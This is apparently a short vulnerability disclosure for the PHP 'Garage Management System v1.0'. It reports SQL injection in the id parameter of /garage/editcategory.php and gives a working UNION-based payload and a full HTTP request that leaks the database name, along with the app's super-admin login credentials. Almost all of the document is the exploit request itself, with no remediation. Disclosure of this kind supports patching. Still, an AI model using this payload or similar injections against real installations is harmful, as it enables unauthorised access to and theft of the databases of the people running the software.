sunaono1 Create SQLi-1.md History

1 contributor

31 lines (21 sloc) | 1.09 KB

Garage Management System v1.0 by mayuri_k has SQL injection

BUG_Author: Broccoli

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

vendors: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /garage/editcategory.php?id=

Vulnerability location: /garage/editcategory.php?id=, id

dbname = garagedb

[+] Payload: /garage/editcategory.php?id=-1%27+union+select+1,database(),3,4--+ //
Leak place ---> id

```
GET /garage/editcategory.php?id=-1%27+union+select+1,database(),3,4--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=m6rramo7f8jalaggbvjh84b1mm
Connection: close
```